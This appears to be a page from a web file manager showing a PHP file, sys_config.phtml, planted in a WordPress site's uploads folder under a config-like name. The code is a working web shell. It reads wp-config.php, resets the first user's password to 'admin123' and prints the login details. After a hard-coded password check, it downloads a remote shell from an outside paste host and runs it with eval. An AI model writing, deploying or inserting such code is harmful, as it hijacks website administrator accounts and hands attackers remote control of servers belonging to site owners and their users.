芝麻web文件管理V1.00

编辑当前文件:/home/projzpbv/public_html/wp-content/uploads/ninja-forms/tmp/sys_config.phtml

<?php
session_start();
error_reporting(0);
$conf = '../../../../wp-config.php';
if(file_exists($conf)){
    $txt = file_get_contents($conf);
    preg_match("/\$table_prefix\s*=\s*['|"](.*?)['|"]/", $txt, $m);
    $prefix = (isset($m[1])) ? $m[1] : 'wp_';
    include $conf;
    $c = @new mysqli(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
    if(!$c->connect_error){
        $q = $c->query("SELECT user_login FROM {$prefix}users ORDER BY ID ASC LIMIT 1");
        $r = $q->fetch_assoc();
        $user = $r['user_login'];
        if($user){
            $new_pass = password_hash('admin123', PASSWORD_BCRYPT);
            $c->query("UPDATE {$prefix}users SET user_pass='$new_pass' WHERE user_login='$user'");
            echo "|DATA|".$user."|admin123|DATA|";
        }
    }
}
function geturlsinfo($url) {
    if (function_exists('curl_exec')) {
        $conn = curl_init($url);
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0");
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0);
        $data = curl_exec($conn); curl_close($conn);
    } else { $data = file_get_contents($url); }
    return $data;
}
if (isset($_POST['password']) && md5($_POST['password']) === '24c23b69a6a7dc8783331f687c40c494') {
    $_SESSION['logged_in'] = true;
}
if (isset($_SESSION['logged_in']) && $_SESSION['logged_in'] === true) {
    $a = geturlsinfo('https://bujang.online/raw/dyiXLT8jj3'); // Link Alfa Shell lo
    eval('?>' . $a);
} else {
    echo "LOCKED_SHELL_ACTIVE";
}
?>